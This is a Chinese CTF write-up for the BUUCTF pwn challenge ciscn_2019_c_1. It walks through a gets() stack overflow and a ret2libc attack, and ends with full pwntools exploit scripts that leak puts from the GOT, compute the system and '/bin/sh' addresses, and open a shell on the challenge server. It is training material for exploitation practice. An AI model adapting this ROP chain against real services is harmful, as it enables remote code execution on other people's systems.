buuctf之ciscn_2019_c_1

ciscn_2019_c_1

  • 一、查看属性
  • 二、静态分析
  • 三、动态分析
  • 四、思路
  • 五、exp

一、查看属性

首先还是必要的查看属性环节:

可以知道该文件是一个x86架构下的64位小端ELF文件,开启了栈不可执行(NX)
在这里插入图片描述
执行一下,先有一个选择,1是加密,2没什么功能,3退出
在这里插入图片描述

二、静态分析

先看一看主程序:一个初始化函数,一个begin函数还有一个encrypt函数
在这里插入图片描述
分别进去看一看,直到看到encrypt函数,这里有一个gest函数
在这里插入图片描述
这样的话,这道题的大概思路就是利用这个gets去溢出控制程序执行方向,但是这个题的问题就在于没有给可利用的函数以及没有调用system,比较经典的ret2libc

三、动态分析

我们动态跑一下,直接断到encrypt函数
在这里插入图片描述
单步n到gets函数,然后输入几个a
在这里插入图片描述
之后查看栈,我们发现ret地址距输入点距离为0xdf08-0xdeb0,也就是88个字节
在这里插入图片描述
在这里插入图片描述

四、思路

没有可直接利用的函数,我们就从库里找,本地破的话就用/usr/lib/x86_64-linux-gnu/libc-2.31.so就可以了
在这里插入图片描述
大致原理就是动态链接的时候,库函数被加载时,相对偏移是相同的,程序会把库整体加载进内存空间,我们只需要找到被调用的函数(puts)的got表项,利用库内函数的相对位移来计算出目标函数(system)的地址
在此之前我们先找到64为程序ROP的必要的ROP片段:
在这里插入图片描述
找到“/bin/sh”
在这里插入图片描述

五、exp

本地:libc需要自己vmmap换

from pwn import*
 
#io = process('./ciscn_2019_c_1')
io = remote('node5.buuoj.cn',26526)
#io = gdb.debug('./ciscn_2019_c_1','break encrypt')

elf = ELF('./ciscn_2019_c_1')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
 
main_addr = elf.symbols['main'] 
pop_rdi = 0x400c83
ret = 0x4006b9 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
 
io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+ b'a' * (88-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

binsh_libc = 0x1b45bd
system_libc = libc.symbols['system']
puts_libc = libc.symbols['puts']


system_addr = (system_libc - puts_libc) + puts_addr
binsh_addr = (binsh_libc - puts_libc) + puts_addr 

print(hex(system_addr))
print(hex(binsh_addr))
io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(88-1) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
 
io.interactive()

远程:

from pwn import*
from LibcSearcher import*
 
#io = process('./ciscn_2019_c_1')
io = remote('node5.buuoj.cn',26526)

elf=ELF('./ciscn_2019_c_1')
 
main_addr = elf.symbols['main'] 
pop_rdi = 0x400c83
ret = 0x4006b9
 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
 
io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+ b'a' * (88-1)
payload=payload+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system_addr = Offset+libc.dump('system')
print(hex(system_addr))
print(hex(binsh))
io.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(88-1) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
 
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/554417.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

容联云QCon全球软件大会分享:大模型引领“营销服”创新实践

近日,QCon 全球软件开发大会正式召开。容联云大模型产品负责人唐兴才受邀出席,并分享营销服场景中,大模型的创新应用与实践。 唐兴才指出,在大模型浪潮的推动下,营销服场景正经历着前所未有的变革。面对激烈的市场竞争…

LineVul: 基于Transformer的行号级漏洞预测

文中提出一种基于Transformer的行号级漏洞预测方法 LineVul,以解决最先进的 IVDetect 方法的若干局限性。该方法通过对包含 188k C/C 函数的大规模真实数据集进行实证评估,LineVul 实现了:(1)函数级预测的 F1-measure …

sublime text的json快捷键

系统 macos 配置 sublime Text->Settings->Key Bindings 效果 可以看到,按:shiftcommandp,会出现快捷键窗口,打pretty,会出现Format JSON,最右侧显示⌘J,说明只需要macos的⌘和J同时按…

ASP.NET医院手麻信息系统源码 .NET6.0+VUE

目录 麻醉记录单 复苏记录单 麻醉文书 手术麻醉信息 1、 体征监控记录 2、 麻醉用药信息 3、 手术事件登记 4、 手术状态变更 5、 麻醉医师交接 6、 其他辅助操作 手麻信息系统是以服务围术期临床业务工作的开展为核心,通过与床边监护设备以及医院H…

物流单打印模板怎么设置,物流发货单打印软件操作教程

物流单打印模板怎么设置,物流发货单打印软件操作教程 一、前言 以下软件操作教程以,佳易王物流货运单管理系统软件为例说明 软件文件下载可以点击最下方官网卡片——软件下载——试用版软件下载 佳易王物流单管理系统软件直接在空白单上打印可以在卷纸…

AI论文速读 | 2024[VLDB]TFB:全面与公正的时间序列预测方法基准测试研究

论文标题:TFB: Towards Comprehensive and Fair Benchmarking of Time Series Forecasting Methods 作者:Xiangfei Qiu ; Jilin Hu(胡吉林) ; Lekui Zhou ; Xingjian Wu ; Junyang Du ; Buang Zhang ; Chenjuan Guo(郭…

mybatisPlus数据字段填充

这里用到的时实体类User import com.baomidou.mybatisplus.annotation.FieldFill; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableLogic; import com.baomidou.mybatisplus.annotation.TableName; import lombok.…

如何在ubuntu上使用clash

下载CLASH软件 修改配置文件 解压之后,将.env文件中的URL改为自己订阅的URL,然后再执行start.sh脚本 最后按照提示,将clash.sh添加到环境变量 如何修改端口 在start.sh中更改 祝大家在ubuntu上玩得开心

多高的学历才能轻松找到工作?这个热点有点扯吧~

先来唠唠 昨天刷脉脉的时候,热榜第一的内容吸引了我:多高的学历才能轻松找到工作? 现在这行情,不管多高得学历都很难说能轻松找到工作吧~ 评论区也有不少小伙伴发表自己的见解,比如: 学历固然是非常重要…

C++ 小项目 - 通讯录管理系统

C 小项目系列教程: 通讯录管理系统 ➡️➡️➡️本教程参考自 黑马程序员 C 视频课程 其中的 Markdown 文档,仅用于自己学习,源码发布在 Contact-Management。 文章目录 1. 系统需求2. 创建项目3. 菜单4. 主要功能4.1 添加联系人4.2 显示联系…

关于主干布线,你应该知道什么

所有大型建筑都需要复杂的通信网络才能有效运行。这需要多个不同的通信室和电缆将这些房间连接在一起。在这里,骨干布线是任何建筑物通信系统的重要组成部分,可以发挥作用。 那么,什么是骨干布线?它是做什么用的?它究…

Monaco Editor系列(四)版本对比、自定义右键菜单、光标滚动

前言:亲爱的小伙伴们,又见面了!上一篇文章我们一起学习了 Monaco Editor 的几个功能,设置内容、多文件编辑、自定义主题;下面让我们继续Monaco Editor的旅程吧! 前情提要: 上一篇文章我介绍了M…

Facebook隐私保护:用户数据安全的关键挑战

在数字化时代,数据已成为最宝贵的资源之一。社交媒体平台如Facebook为用户提供了便捷的交流和信息分享工具,但同时也面临着如何保护用户数据安全和隐私的挑战。本文将深入探讨Facebook在数据安全方面面临的关键挑战,以及其如何应对这些挑战&a…

部署Zabbix5.0

一.部署zabbix客户端 端口号10050 zabbix 5.0 版本采用 golang 语言开发的新版本客户端 agent2 。 zabbix 服务端 zabbix_server 默认使用 10051 端口,客户端 zabbix_agent2 默认使用 10050 端口。 1.1.关闭防火墙和selinux安全模块 systemctl disable --now fir…

python中的列表、元组、字典、集合(集合篇)

数据类型定义符号访问元素是否可变是否重复是否有序列表 [ ]索引可变可重复有序元组()索引不可变可重复有序字典{key:value}键可变可重复无序集合{ }可变不可重复无序 基本概念 python语言中的集合是无序的、可变的容器类对象,所…

【Web】HTML基础

专栏文章索引:Web 有问题可私聊:QQ:3375119339 目录 一、HTML介绍 1.HTML 定义 2.标签语法 3.HTML 基本骨架 4.标签的关系 5.HTML 注释 二、标签 1.排版标签 1.1 标题标签 1.2 段落标签 1.3 换行标签 1.4 水平线标签 1.5 文本格…

Python学习(四)

文件操作 想想我们平常对文件的基本操作,大概可以分为三个步骤(简称文件操作三步走): ① 打开文件 ② 读写文件 ③ 关闭文件 注意:可以只打开和关闭文件,不进行任何读写 在Python,使用open函数,可以打开一个已经存在的文件&…

4.16作业

1.总结keil5下载代码和编译代码需要注意的事项 一、在编译代码时需要先点击魔术棒点击 修改flash Downlond 和pack 二、可以通过F12转跳到对应的函数中,查看函数的原型 三、注释出现乱码通过 Edit中的中的来修改 四、要先bulid在load 2.总结STM32Cubemx的使用方…

【UE 材质】表面湿润效果

效果 步骤 1. 创建一个材质函数,这里命名为“MF_Weather_Wetness”,打开材质函数添加如下节点 其中输入的默认值分别为: 其中,“Desaturation”节点用于控制饱和度,我们通过给“Fraction”引脚输入一个负值来增加饱和…

【AR开发示例】实现AR管线巡检

写在前面的话 这是一篇旧文档,代码仓库见 https://gitee.com/tanyunxiu/AR-pipe 本文档是基于超图移动端SDK的AR模块开发的示例,仅供参考,SDK在持续迭代中,相关描述可能有变化。 示例介绍 这是一个使用AR查看墙内管线的基础示…
最新文章